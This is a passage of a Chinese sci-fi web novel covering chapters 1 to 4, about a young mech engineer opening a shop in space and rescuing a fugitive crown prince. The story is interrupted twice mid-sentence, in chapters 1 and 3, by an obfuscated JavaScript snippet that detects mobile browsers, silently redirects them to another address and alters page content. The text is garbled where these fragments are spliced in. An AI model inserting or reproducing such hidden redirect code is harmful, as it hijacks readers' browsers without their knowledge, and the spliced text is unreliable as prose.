《顶级数据师只好摆摊[机甲]》 1. 第1章 代码不停滚动,幽蓝字符照亮时嚣专注的眉眼,她一瞬不瞬盯着虚拟屏幕上的测试结果,仿佛眼前的机甲数据就是她的全世界。 “转向延迟0.03秒。”系统提示音响起。 时嚣微微皱眉,她对数据有着极致的要求,不允许机甲存在任何瑕疵。 搭在桌面上的手有节奏地轻叩,脑中不断模拟各式机械构造图。 大约过去一分钟,她更换其中一个参数变量,又调出机甲核心代码,手指在键盘上快速敲击,机甲的三维模型随之重新生成,再次投入不同场景进行动作测试。 不多时终于响起无延迟的提示,她的眉宇得以舒展开,唇角扬起清浅的弧度。 天然上扬的眼尾让她在不笑时带着一种疏离的冷峻感,笑起来的时候刚成年特有的朝气又中和了那份锐意。 机械臂精准调试关键零件,完成操作后悄然贴回墙壁,正式组装完毕的机甲则被自动传送出去,稳稳放置在大厅最后一个空着的基座上。 忙完终于有空活动活动身体了,时嚣一边嘟囔着“零件都要生锈了”,一边随意将衣袖捋到手肘处,小臂肌肉线条分明,显露出长期与重型机械打交道的痕迹。 一旁机械臂适时递来一杯温水,时嚣松完筋骨捧过水杯,遥望舷窗外深邃的星空,有些苦恼地呢喃:“已经做了四台成品机甲,现在就等开业了,去哪个星球比较好呢?” 她是从乡下星球来的机甲数据师,一心想要实现创业梦想,怀揣一腔孤勇不远万里来到大星系,全身家当只有一艘平平无奇的星舰,由于第一回独自离家产生了点社交焦虑障碍,因此迟迟没有着陆。 正当她准备再研究一遍航线图以确认目的地,忽然注意到操作台上热感应提示灯正在闪烁,不由得诧异。 “这是……有客人来了。” * 机甲左臂断裂,楚归澜闷哼一声,眼底涌出强烈的不甘。 一旦他折在这里,帝国王储去往和平议会途中遭遇联邦伏击身亡的消息将立刻传遍各大星系,他几乎可以预见接下来的发展。 迟来一步的军队探测出联邦新型武器的能量振幅,舆论哗然,主战派大臣陷入狂欢,帝国与联邦本就不堪一击的盟友关系彻底破裂,战火一触即发,虫族趁机入侵,幕后黑手得意洋洋。 他的死亡会成为最好的助燃剂,哪怕谁都知道虫族压境的当口联邦绝无可能主动撕破脸皮。 想到可能发生的后果,楚归澜攥紧的指节因过度用力而发白,被算计的耻辱占据情绪上风,求生欲同时达到顶峰。 又是一道重击,他护住要害。 伤势再恶劣,只要不致命都能靠医疗舱救回来,可是星海茫茫,距离最近的一颗星球都在五千光年开外,单靠损毁程度高达95%的机甲根本不可能甩开追击者抵达,他到哪里去找一台医疗舱……呢。 楚归澜惊愕地瞪大双眼。 宇宙吞噬掉一切光明,偏偏这恐怖的黑暗之中出现了一座银色堡垒。 恢弘的建筑盘踞在繁星点缀的黑色绢布下,巍峨如山岳,高高悬挂的霓虹灯牌闪烁“小时机械店”几个大字,老土的装饰过时了起码几个世纪,怎么看都有点滑稽。 门口孤零零立着一台外壳陈旧的黑灰色机器人,那双类人眼眶里泛着冷漠的暗红,款式远不如帝国名牌店里的机械新颖时尚,守护的姿态却比帝国禁卫军还要威严。 楚归澜恍惚。 店铺看上去跟普通机械店别无二致,可普通机械店无论如何都不该出现在这里。 他突然想到一个不对劲的关键点,强忍痛楚调出面板,反复比对三遍才确认不是眼花。 建筑近在咫尺,地图上却空空如也,追击者的定位标识又证明系统没有出错。 不可能!他的机甲凝聚了帝国最顶尖的技术,怎么可能侦察不到目标! “警报!警报!机甲损毁程度96%!请断开传感器,尽快离开驾驶舱!” 中控系统反复播报,电子音愈发刺耳,紧贴骨肉的传感装置因动力过载烧得滚烫,针扎般的疼痛叫嚣着告诉他这台机甲已接近报废。 身后量子炮的热浪袭来,他躲闪不及,破损的机甲雪上加霜。 “警报!警报!机甲损毁程度99%!请断开传感器,尽快离开驾驶舱!请断开传感器,尽快离开驾驶舱!” 没有时间了。 示警红灯疯狂闪动,赤红驱散楚归澜眼底的犹疑,他迅速做出决断,以机甲本体自爆封路拖延,将剩余能源全部转移到狭小的逃生舱上,拼命奔赴那处光源。 他的呼吸变得急促。 究竟是陷阱还是希望? 疑问刚闪过脑海,追击者一记重炮就击中了逃生舱尾翼,逃生舱顷刻失衡,在冲破店铺支起的空气墙后七零八碎摔在平台上。 尖锐的刺痛从身体各处传来,楚归澜用力踹开变形的舱门,跌跌撞撞朝店铺跑去。 几个追击者显然也对突兀出现的店铺心存忌惮,停在空气墙外试探性朝任务目标射击。 楚归澜在地上滚了一圈才堪堪躲开,他从没想过自己会沦落到如此狼狈的境地,绝望在心头蔓延。 确认不是增援,追击者谨慎靠近,量子炮再次对准他的后背。 “欢迎光临小时机械店,有什么能帮到各位的吗?” 清冽的女声混着齿轮的摩擦,轻而易举吸引所有人的注意。 楚归澜循声望去,厚重的机械大门缓缓开启,凉风扑面而来,疲惫到极点的身体在微风中得到了舒缓。 一个模糊的身影嵌在光里,步伐不紧不慢,周身轮廓朦胧而苍白。 光线收拢,时嚣站定。 她的目光投注于楚归澜,又平静地移向另外几台机甲,明明挂着微笑,眼里却看不到一丝笑意。 “我说,有什么能帮到各位的吗?” 凝结的寂静中,她又重复一遍刚才的话,咬字微微加重,像是没有看见眼前生死一线的局势。 这种目空一切的傲慢只在拥有绝对实力的强者身上出现,一时间追击者不敢轻举妄动。 楚归澜回过神来,立即道:“你想要什么!我能跟你交易!” 可他的激动只换来淡淡一瞥,那眼神仿佛在看某件待价而沽的商品,向来自傲的王储心间发凉,他竟然有种献上一切都无法打动对方的错觉。 而被忌惮、求助的当事人其实一点也不从容。 就、就这么来生意啦。 时嚣紧张到只能绷着脸假笑。 她没想到顾客会主动上门,而这显然是个绝佳的锻炼机会。 她默默给自己打气,是时候鼓起勇气迎接第一笔生意了时小嚣!顾客的一小步就是小店经营的一大步! 做完心理建设,她再次看向顾客们。 根据以往储备的理论知识,见到顾客后要做的第一件事是辨别对方是否有购买意向。 她按照经营指南上教的技巧分析局势:站位靠后的顾客们机甲完好无损,而最前面的顾客机甲碎得只剩下渣渣。 她看向楚归澜,眼睛一亮。 这是一位刚需用户!书上提过!叫肥羊! 不过两边顾客看上去关系一般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094445|195599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一边刚需,另一边人多,要先招待哪一方? 新人店主陷入纠结。 追击者们互相交换了个眼色,其中一人的量子炮缓慢发生偏移—— 爆裂的炮弹瞬间穿透金属防护。 然而被毁灭的并不是小店和它的主人。 楚归澜怔怔望着眨眼间湮灭成灰烬的量子炮,大脑一时间无法解析刚才看到的画面。 他僵着脖子回溯火力源头,赫然是那台沉默老旧的机器人。 一个守门机器人把联邦研发的最新武器一炮轰成灰了?! “危险!小嚣危险!执行最高指令!保护小嚣!” 机器人挡在主人前面,机械音陡然变得高亢。 脱离待机模式后,除了原本就是炮筒形态的双手外,它的背后弹出无数火炮枪支,颇有一夫当关万夫莫开的架势。 时嚣丝毫没有万众瞩目的自觉,漫不经心地走神。 她当然察觉到了追击者的不友善,但书上有句话叫“来者是客”,况且她看了两眼发现他们的装备连小机器人都不如,于是更加不在意了,毕竟她已经过了会被塑料玩具枪威胁的年纪。 对面望向她的探究已然被恐惧替代,几乎下意识地,他们将所有炮火对准了她。 “轰!” 剧烈的震荡下,透明空气墙漾起阵阵波纹,又很快趋于稳定。 “指令执行完毕。”机械音冰冷干脆。 时嚣朝新鲜出炉的太空垃圾撇嘴,不想花钱就算了,何必砸场子,不过也好,这下不用纠结先招待谁了。 她向唯一的顾客发出邀请:“请进,这位客人。” 楚归澜神情呆滞地目送完一个照面沦为宇宙尘埃的追击队,好一会儿才反应过来时嚣在喊他进屋。 如果不进去……会怎样? 他放弃思考后果,肾上腺素在关键时刻发挥作用,一股难言的力量托举他站起来走进这间神秘店铺。 入目是四台足有四五十米高的机甲,流畅刚毅的线条充满力量,庞大的金属身躯反射寒芒。 它们垂首矗立,机体散发着令人战栗的威压,或许因为持有者附加的暴力色彩,竟让他有种被顶级掠食者盯上的悚然感。 他小心翼翼错开目光,亦步亦趋跟在时嚣身后,生怕一不小心做错什么触怒这位神秘店主。 时嚣刻意观察他进店后的神态,见状多少有些失落。 城里人果然见多识广,她自认为还不错的作品在人家眼里甚至不值得多给一个眼神。 看来还需加倍努力才能在大星系出人头地呀。 “要看看机甲么?”她问。 身为一个合格的商人,自然要读懂顾客的需求,急顾客之所急。 顾客刚刚失去一台机甲,正是她趁火打劫……不是,趁机为其解决烦恼的时候。 楚归澜哪敢说不,那台机器人都虎视眈眈跟进来了,炮筒还冒着烟呢。 他的全部心神放在了极度危险的机器人和更危险的机器主人身上,在时嚣开始介绍机甲后时不时“嗯”一声表示配合,忍不住去思考她的深意。 神秘店主似乎没有恶意,不在乎客人身份,不在乎客人刚经历过一场逃杀,只一心想经营好店铺,进门后和寻常机械店店主一样礼貌待客,说着标准化的商品介绍流程。 可有谁不认识帝国第一顺位继承人,哪怕最偏远的星系都在新闻里见过他的脸。 过家家的行为令人难以理解,让他不禁想起帝国国宝级大师们前不久不约而同跑去老年大学修身养性的新闻,难道这就是强者追求的返璞归真? 2. 第2章 “店里目前只有这四台成品机甲,每台机甲都有独一无二的设计理念,性能侧重各不相同。” “原版操作系统略微有些复杂,不少代码是我自己设计编写的,后来简化过几遍,删除了部分功能,现在总体来说比较适合新手驾驶,第一回操控也能发挥至少百分之五十的威力,应急足够用了。” “我这里也提供定制服务,感兴趣的话可以试试我的独家代码,不过定制款工期较长,需要提前一个月预购。” 时嚣生怕被顾客察觉出是个初出茅庐的菜鸟店主,背台词一样一股脑介绍完。 说完仔细回忆了一遍曾经总结过的经营要诀, 一,绝不以貌取人,也许衣衫褴褛的顾客只是刚下战场; 二,顾客是上帝,对逃单砸场子以外的所有顾客保持友好; 三,尊重顾客的行为怪癖,聪明的商人要学会选择性失明; 四,言多必失,少说话能降低顾客套近乎砍价的概率; 五,星际时代尚武,语言解释不清的可以用拳头解释。 很好,这几条她今天都做到了。 楚归澜垂落的拳头握起又松开,不知不觉冷汗涔涔。 他实在看不懂她想要什么,只能尽量顺着她的意思走。 “就这台吧。”他心思不在机甲上,并没有仔细听介绍,只零星听到几句“机动性较差”“适合正面战斗”“武器库完备”之类的话,便凭直觉指了其中一台重装格斗型机甲。 现如今机甲技术陷入瓶颈,尖端机甲性能大差不差,想来随便选一台也是差不多的,不过和平议会附近一定有埋伏,重装机甲会更方便对抗。 正要询问价格,突然想起来光脑早在逃亡时就损毁了,楚归澜顿时警铃大作,大脑飞快运转。 “抱歉,我没有钱……” 看到时嚣嘴角往下撇了几度后他迅速拿出贴身携带的宝石胸针:“但我有这个。” 这是父亲亲手为他佩戴的、象征王储身份的信物,胸针上镶嵌的蓝宝石更是一种极其稀有的能源矿石,这种能源矿石只在高等虫族活动的区域内产出,非常难得。 有价无市的宝石加上王储信物的附加意义,她应该会满意吧。 楚归澜没办法从时嚣平静的表情下读出其他情绪,不由得忐忑。 蓝色宝石光彩夺目,时嚣紧咬的后槽牙可算松开了。 虚惊一场,还以为他要砍价呢。 见时嚣收下胸针,楚归澜也送了口气,看来交易达成了。 “小嚣,喝水,客人,喝水。”小机器人主动端来两杯水,炮筒颤巍巍捧着托盘。 时嚣欣慰,智障机器人终于聪明了一回,知道帮她招呼客人了。 楚归澜深知眼下自己需要的只有医疗舱,可他环视一圈没发现类似的设备,只好开口询问。 时嚣缓缓飘出一个问号,医疗舱是什么东西?她坦言店里没有。 楚归澜一时噎住。 医疗舱便捷高效,没道理出行不带上,难道说对方不满意这场交易?这是新一轮试探吗? 他胡思乱想着,为掩饰被拒绝的尴尬接过托盘上的水,端到唇边抿了一下。 等等,这水…… 身上密密麻麻的痒意与医疗舱的效果如出一辙,他赶紧又灌下一大口。 这水有治愈的功效! 楚归澜脸色变化的瞬间时嚣内心大喊不妙,扭头瞪向乖巧站立的小机器人。 小!智!障!你怎么把浇菜水拿给客人喝了! 读懂主人表情的小机器人无辜地瞪大机械眼:可是我的程序告诉我他需要这个。 时嚣木了。 幸好,那是促进植物生长的营养液,用老家新鲜草皮调配的,说是青草汁也没问题。 她偷觑楚归澜,看他喝得认真,艰难开口替自家人工智障收拾烂摊子:“这是我们店里自制的饮品,纯天然青草汁,味道怎么样?” 神秘店主态度友善,楚归澜紧绷的神经慢慢放松下来,又因为青草汁对她充满感激,恨不得直接写一篇小作文:“味道很特别,和我过去喝过的所有饮品都不一样,它不像咖啡那么浓厚,也不像果汁那么甜腻,而是有一种自然清新的风味,让我联想到清晨的草木。” 时嚣点点头,敬佩之情油然而生。 城里人就是不一样,吃个草都能编出这么多文绉绉的词。 楚归澜感激道:“这一定是您特地为我准备的。” 时嚣目移:“是。”是、是的吧。 楚归澜惭愧,原来是他以小人之心度君子之腹了,一杯青草汁见底,伤口七七八八结痂,比医疗舱的治疗速度快了十倍不止,拥有这么强功效的青草汁,的确没必要额外添置一台笨重低效的医疗舱。 时间紧迫,他打算等参加完最重要的和平议会后再回来答谢,现在必须先返回飞船毁坏的地点取回跃迁器,转移到最近一个星球上重新出发。 时嚣出于心虚,以开业赠品的名义塞了个金属戒指给他。 她摁下蠢蠢欲动要给楚归澜添水的小智障,把机甲配套的收纳手环一并递交过去。 太好了,这下交易流程全部走完了。 她暗暗为自己机智的应变能力竖起大拇指。 楚归澜收起疑似是边角料的金属戒指,佩戴手环时留意到内侧刻有一个“时”字,结合店名,不难猜出店主的姓氏。 “这里的机甲都是您的作品吗?”他问。 “嗯,我是数据师。”交易结束,时嚣不怕客人套近乎了,整个人放松许多。 “您是帝国人?”楚归澜猜测对方也是帝国人才会好心救他。 “不,我来自一颗遥远的星球。” 一颗遥远的偏远的偏僻的落后的与世隔绝的乡下星球,小到她离家后看到的所有星际地图都查不到它的坐标。 “混沌星系?” 时嚣摇头:“地图上查不到的一颗小星球。” 楚归澜默默点头。 除了虫族入侵的混沌星系以外,所有宜居星球都有备案,不可能存在查不到的情况。 以为她不愿意透露真实来历,他便没有追问下去,转而想要留个联系方式,又记起毁坏的光脑,一时懊恼。 时嚣自然不会让客人尴尬,她绞尽脑汁终于想起过去读过的一句诗,模仿城里人高深莫测的用词说道:“人生何处不相逢,有缘会再见面的,就像今天。” 楚归澜一愣,大师似乎话里有话,就像他们未来真的会在某个不经意的节点再次相遇一般。 他着急赶赴和平议会,并没有深入思考,只是在离开前郑重其事地致谢:“感谢您的帮助,我会记住这份恩情。” 恩情?城里人用词这么夸张。 时嚣担心露怯,秉承少说少错的原则矜持道:“交易而已,欢迎下次光临。” 楚归澜顿了下,略显窘迫地举起空杯子,清了清嗓子问:“可以再给我杯青草汁吗?” 时嚣:“?” 浇菜水有这么好喝? 她忍不住召来小机器人,给自己也倒了一杯。 然后她整个人都凝固了。 那是一种难以名状的味道,苦涩、怪异,像是雨后泥土和烂菜叶捣碎搅拌在了一起。 她的味蕾受到莫大冲击,直到楚归澜护着那杯 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如果楚归澜没走,必定能认出投影上是宇宙的星系分布图,并且会震惊发现这份地图的辽域和详细程度远超帝国和联邦掌握的最新版本。 时嚣对一切习以为常。 被称作“蓝蓝”的管家主脑声音轻缓,柔和的语调让人感受到无法言说的温暖与安心:“小智底层代码简单,闯祸不是它的本意。” 小机器人委委屈屈蹲到主人脚边画圈,高大的身躯缩成一团,机械眼珠变得黯淡无光,赛博眼泪说飚就飚。 有限的智商告诉它,这样比较容易获得原谅。 时嚣立刻制止它浪费机油的行为。 到底是第一个亲手制作的机械产物,她选择包容,摸了摸金属脑袋安慰:“不怪你,你进步很大了。”起码不会打碎杯子了。 她对小机器人的容忍度向来很高,只是偶尔会为过去一周壮烈牺牲的四十八个可怜杯子哀悼。 小智障和管家主脑一样,一切行动都以她为中心,但它是战斗型机器人,离家以后没派上过用场,不太聪明的小机器人很焦虑,一直想为她做点什么,奈何系统里载满战斗程序,一丁点改造空间都没有,它那双结构精密的“手掌”是战斗的好手,却天然不适合处理家庭事务。 “去玩吧,半个小时后重新装备弹药。”她对小机器人说。 说完调出备忘录记录观测到的战斗过程:【小智战斗记录:武器库负重百分百,武器调动速度0.02,输出0.04,换弹0.05,误差标准范围内,机械运转良好,指令执行正确,无超负荷、发烫情况。】 她看着数据沉吟:“有优化空间,可惜中心轴承暂时找不到更合适的金属替代,回转精度受限,硬件拖了程序后腿。” “小嚣,最好了。”小机器人赤瞳里的电波弯成了拱形,没有起伏的语调一字一顿。 时嚣心情愉悦,不怎么熟练地打开旧光脑,等了足足五秒开屏动画。 这是她从老家带出来的,老家无法联外网,因此没有普及光脑,直到她成年想到大城市闯荡父母才翻出来这台老古董,据说上次启用是几百年前的事了。老古董版本落后,但胜在质量不错,经过简单修理改造已经能正常使用,就是有点卡顿。 时嚣盛着对新鲜事物的好奇,生疏地操作光脑给宝石胸针拍了张照片,页面立马跳出大量相似商品推荐。 然后她就被满屏高饱和度“9块9包邮”闪瞎了眼,以至于完全忽略了“帝国王储同款”的字样。 时嚣眯起眼睛关闭网页,心中澎湃着自信。 很好,她对物价有具体的认知了。 3. 第3章 时嚣从口袋里掏出专门用来记经营笔记的小本子,伸出手指按在一行字上,视线跟随指尖滑动,提取其中关键词: “正规商铺要先办理营业执照,进行税务登记……通过开业大酬宾宣传店铺和产品,原价25开业通通50,遇到砍价屠龙刀……” 翻到下一页。 “砍回去(物理)。” 时嚣眨了眨眼,轻声问:“我该怎么交税?” 主脑简单查阅后回答:“要先办理营业执照,营业额达到起征点后根据当地标准缴税,各个星球要求不同。” 时嚣摩挲胸针上璀璨的蓝宝石,又看了看剩下三台待售机甲。 她觉得不错的机甲只能换来老家随处可见的石头,看来未来之路任重而道远,等到了大城市,她一定认真学习最先进的机械技术。 “抱歉,小嚣。”空间内,主脑歉意地叹息,“我依然无法接入帝国和联邦的网络,我们星球的科技水平落后太多了。” “没关系,来大星系之前我就有心理准备了,我们先凑合蹭附近独立星球的网络吧,会慢慢好起来的。”时嚣反过来安慰它。 “我们小嚣长大了。”主脑感慨之余暗道自己也要跟上节奏才行,老大一个超智能AI不能拖孩子后腿。 它停顿一秒,完成了一遍数据自检:“我即将进行一次版本升级,需要休眠一段时间,升级后就可以连上帝国联邦的网络了,期间会有复制体代替我辅助你。” “没问题,你去吧,我能照顾好自己。”时嚣作出决定,“我得先办理营业执照,刚才客人提到过帝国,那就去帝国好了。” “好的,已将帝都星设定为目的地,预计六小时后抵达。”主脑的语气一如既往温和。 “好久啊,给我放会儿猫猫视频吧。”时嚣舒舒服服躺好。 世界上居然有猫猫这么可爱的生物,不像她的星球,到处都是变异的丑陋虫子,一刀三个都砍不完。 “为什么会对猫这个物种那么执着呢?身体覆盖有柔软密集毛发的动物还有很多。”主脑数据库里并没有时嚣和虫族以外生物接触过的记录,它难得分析不出她的想法。 “一眼就喜欢上了呀。”时嚣从模糊的记忆角落里翻出一双漂亮湿润的眼睛,那好像源自一场虚无缥缈的梦,又好像不是。 主脑悄悄记录下她的新爱好,而后依言播放各种猫猫卖萌的视频,又分出思维触角操控星舰。 无垠的宇宙中,唯一明亮的悬浮店铺外观缓慢重组,一艘无与伦比的巨型星舰随之成型。 动能提升至最高档,舰体表面浮现出复杂的能量纹路,瞬息之后星舰启动空间折叠,穿过星际之间的虚无,只留下一道银色幻影。 * 楚归澜感觉不对劲。 太平稳,太安静,也太快了。 依稀记得时嚣向他介绍时强调过一句“因武器库负重过大,不得不降低敏捷度,以至于机动性较差”。 可行进速度远远超出预期,让他不禁怀疑,这是重装机甲应有的速度吗? 他调出实时速度,看到数字的第一反应是不可能,测速仪器出了问题。 身为帝国王储,他驾驶过最新最机密的机甲,没人比他更清楚当下机甲的制造水平,这么高的移速下传感装置绝对做不到现在这样轻松。 可身体的反馈不会出错,机甲确实在以一个极致的速度前进,传感器也没有给他施加过重负担。 他猛地提速再紧急刹停,仔细留意传感器的反应。 没有晃动,没有顿挫。 假如现在操控机甲的是帝国顶级机甲师,变态的平衡度勉强解释得通,但他有自知之明,自己的微操水平中规中矩,绝对达不到顶尖水准。 这台机甲不对劲,它的基础性能远远超过帝国掌握的最高水平。 他后知后觉切换时嚣重点提起过的战斗模式。 饶是已有心理准备,他仍然被堪称恐怖的武器存量震撼到了。 感受着背部与四肢传来的沉重压力,他茫然地想,空间压缩技术突破物理限制了?能源够用?不会过热?不会卡顿?交互不会混乱?系统带得动?这负重下还能提速? 一瞬间脑海中涌现太多疑问。 武器库几乎汇集了他能想象到的所有尖端科技,甚至还有一些他叫不上名但一看就杀伤力巨大的武器掺杂其中。 不同口径的导弹发射器、电磁脉冲武器、近战激光切割刀,完美适配所有复杂的战场环境,还有与承重脊椎连为一体的连发炮台,仅凭一人就能输出堪比一支小型军队的火力。 而就连他这个操控者也一度忽略的背部位置,更掩藏着隐秘的杀器。 他能预见背部四对收拢时毫不起眼的机械羽翼在进入战斗后突然展开,锯齿状的金属片猝不及防割断敌人脖颈的画面。 楚归澜紧盯战斗控制系统,呼吸愈发急促。 王储殿下生平头一次在面对控制台时感到手足无措,觉得自己像个没见过世面的傻瓜。 控制台上除了武器的操控权限,还闪过去不少辅助设备的代码,他只认得常用的几个,剩余代码闻所未闻。 但是它们运行得异常有序。 这套控制系统居然可以称得上简单易上手,就像时嚣介绍得那样,第一回操控也能发挥至少百分之五十的威力,要是军队普及…… 他仅犹豫一秒就有了决断,掉头返航移速拉满一气呵成。 大师!我回来啦! 至于和平议会,那是什么东西?有这种等级的机甲他分分钟干到世界和平! 回程路上楚归澜甚至算好了技术垄断的价码,然而抵达原坐标后他对着空荡荡的太空傻了眼。 大师呢?他那么大一个大师呢? 楚归澜定格在原地,眼神失去焦距,直到先前发射出的信号有了回应才回过神。 亲信告知他,晚一步出发的议员团已抵达和平议会现场,为避免虫族集结的节骨眼上出现一些不必要的负面舆论,他们营造出了进展顺利的假象,联邦也没有过问王储缺席的原因。 楚归澜皱了下眉,他做好了联邦不依不饶的准备,没想到对方竟然没发难,事出反常必有妖。 他继续看亲信的回复,在看到“联邦高层私下派人过来想要做笔交易”时豁然开朗。 亲信传达联邦高层的意思:联邦方不关心他为什么来迟,并表示愿意帮忙控场接应,交换的条件是帝国需要在议会上同意合作升级AI主脑的提案。 楚归澜嘴角微微上扬。 他原本打算主动提出合作,没想到伏击的事一拖延,联邦反而沉不住气找借口先示好了,如今帝国掌握主动权,他顺水推舟同意交易就行。 回复完亲信,他又传讯回帝都星,让外交大臣做好利益谈判的准备。 消息末尾,他本想让人去查“小时机械店”相关的信息,最后却把信息删除了。 最近盯着他的眼睛太多,暴露他行踪的背叛者还没揪出来,他不能大张旗鼓寻找大师踪迹,等回去做好保密工作后再行动也不迟。大师说有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094447|195599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缘再会,但他相信因“元”际会,他会不惜一切代价在更多人注意到大师之前先找到她。 可惜,他不习惯自我介绍,当时劫后余生思维太混乱了竟然没想起来请教大师姓名。 安排妥当后他遗憾返航,趁赶路的工夫梳理和平议会的谈判思路。 “必须尽快升级主脑,目前宙斯防御能力不如赫拉,估计联邦比我们更急。” “联邦自导自演的可能性排除,到底是哪一方势力在这个节点挑起纷争……” 他的思绪逐渐飘远。 五个世纪前,虫族诞生了一个极为智慧强大的虫母,联邦帝国联手抵抗,当时正值关系蜜月期,于是合作研发超级AI,最终主脑宙斯和赫拉诞生,底层代码密钥被一分为二保管,之后虫潮退去,双方关系恶化,无人再提及升级AI的事。 直到一周前。 那是很普通的一天,各国信息中心毫无征兆遭遇黑客入侵,对方目标明确,就是要强势接管所有AI主脑的最高权限,旁若无人的张扬姿态俨然不把帝国和联邦放在眼里。 未知的科技触角同化了周边独立星球,唯有两大超级势力苦苦支撑。 据主脑赫拉测算,对方至少联合了十万名顶级黑客,可是他们连夜把暗网清剿了也没发现有比官方人员更强的沧海遗珠,被端了老巢的民间黑客一个比一个懵。 到底什么样的势力能供养上万名顶尖黑客,并且在此之前毫无痕迹? 反抗军一贯嚣张,如果是他们做的肯定高调宣扬得全世界知道,整整一周毫无动静不是他们的风格,再者反抗军缺钱缺装备,很难组织起这么多顶尖人才。 至于其他势力就更不用说了,有钱的没资格上桌,有号召力的没胆量摸牌,没有一个符合条件。 阴谋论纷纷扬扬,始终没有定论,信息中心防线几近崩溃,信息部部长这才提出最后的解决方案——升级AI主脑。 高层主战派和主和派短暂达成共识,通过了此项提案。 未知势力有资源供养顶级黑客,同样能蓄养军队和政客,谁也不知道它的目的是什么,或许这只是一次试探性进攻,他们必须提早防备。 主脑是星网核心,一旦系统被攻破各个星系都要陷入混乱,赫拉绝不能成为战争的软肋,升级迫在眉睫。 看联邦同样急切的态度,谈判应该能顺利推进。 卸掉一样重担,楚归澜又想起行踪神秘的大师,神秘大师简直是他的贵人,不仅救了他,送给他顶尖的机甲,还为他带来了联邦妥协的好消息。 慕强刻在每一个星际人类的DNA里,他也不例外。 尽管第三方势力带来的威胁让他很是不安,此刻他却满心只想找到大师达成合作,全面升级帝国军团。 大师消失的最后方位恰好处于帝国联邦边境交汇点上,无法判定其行进路线,也不知道她除了开店是否另有目的,对话透露的信息量少得可怜。 唯一能肯定的是,大师绝对不属于敌对方,不然坐视不理是最好的选择,不费吹灰之力就能挑起帝国联邦的争端,况且她还相当于白送了一台拥有跨时代技术力的超级机甲给他。 “这次交易我占了大便宜,下次见面一定要让大师看到我的诚意。” 楚归澜懊恼,他明明亲眼见证了守门机器人的强大,怎么就没联想到机甲也是机械分类。 大师疑似持事不关己的中立态度,但愿别让联邦或者反抗军的人先碰见,如果让他们见到了大师……那就祈祷联邦和反抗军和他一样无知吧。 4. 第4章 纸张发出细微的沙沙声,办公室内安静到能听见彼此呼吸。 过了一会儿,翻阅纸张的声音消失,时嚣的视线随着被平放在桌面上的文件停滞。 薄薄一沓纸承载了她申请营业执照的希望。 “时小姐。”负责审核的工作人员坐直身体,手指移到文件上点了两下,“我注意到你提供的资料并不齐全,缺少的是……身份信息?”他迟疑了下。 时嚣老实回答:“我刚到帝都星,没有身份芯片。” 她落地才知道原来外面的人出生起就会植入一枚独有的身份芯片,后颈因此会多出一道形如莫比乌斯环的疤痕,她从来没有听说过。 “就算是偏远星系也早该普及身份芯片了才对。”工作人员诧异。 时嚣说:“我们星球和外面断开联系很久了。” 工作人员点头表示了解。 按理说帝都星拒绝所有黑户入境,但既然对方成功通过审查落地,还正大光明来办理营业执照,说明手续肯定齐全,可能是从某个犄角旮旯捞来的特殊人才吧。 他看向时嚣脚边朴实无华的麻袋,更加笃定自己的猜想,这特立独行的风格非常符合他对特殊人才的刻板印象。 总不可能有人有能耐屏蔽掉帝国中心区域所有探测仪器,突破驻守军队,躲过严格筛查,只为办理一张正规合法的营业执照。 这个念头刚闪过去就被截断,殊不知他和真相擦肩而过。 “问题不大,身份信息可以补办后提交。”工作人员秉持职业操守,微笑望向对面正襟危坐的女孩,循例提问,“方便问一下你从事这一行业的初衷吗?” 时嚣双手放在膝盖上,脊背挺直,一板一眼道:“我从小就梦想拥有一间自己的机械店,但机械店在我们星球没有市场,所以我来到了大星系。” “了解。”工作人员继续问,“既然一早想好开机械店,你有提前做什么准备吗?” 时嚣说:“其实我已经有一间店铺了。” “位置在哪?” “还没想好。” 工作人员:“……” 他懂,帝国就喜欢引进这种天赋只点专业技术的抽象型人才,刻板印象又加深了呢。 “先补充一下基础信息吧。”工作人员打开光脑调出一份空白档案,“我问你答就行,你来自哪个星球。” 第一个问题就让时嚣沉默了。 “不方便说吗?”没得到回答,工作人员耐心追问。 “不是,我的星球叫、叫……”时嚣努力回想。 概念里星球就是星球,星球就是她的家,家里人都不会特意去喊那片土地的名字。 只依稀记得在她很小的时候爸爸妈妈谈起外界时提到过一次。 她根据记忆里父母的口型尽力还原发音:“压、亚投……” “好的,丫头星。”工作人员熟练记录。 真是个奇怪的名字,不过偏远星球嘛,为了避开重复命名,叫二狗麻子星的都有。 时嚣刚要纠正发音,就听工作人员道:“临时身份证明没有拿到的话,需要其他可供核实身份的文件,麻烦给我你的毕业证编号。” “欸?那是什么?” “欸?” 两人大眼瞪小眼。 工作人员眉间一道褶:“高中毕业证?” 时嚣瞪着眼睛摇头。 工作人员眉间两道褶:“初中?小学?幼儿园?” 时嚣依然瞪着眼睛摇头。 工作人员抬起右手,用食指正了一下银边眼镜,然后摸了下鼻子,又把手支在下巴上。 他受过严格的培训,无论多无语都会保持微笑。 一套小动作连招后,他重新拾起职业微笑:“机械行业从事标准偏高,没有学历的话数据师高级评定有吗?数据师从业资格证呢?机甲制造许可证总有吧……再不济出示一下你的机甲质检合格证书?你该不会连机甲驾驶证都没有吧!” 时嚣头摇成了拨浪鼓,眼底涌出懵懂的天真。 工作人员:“……我懂。”特殊人才嘛。 工作人员笑容斯文,目光不偏不倚和她对视,同时高高举起印章,毫不留情盖下。 “下一位。” 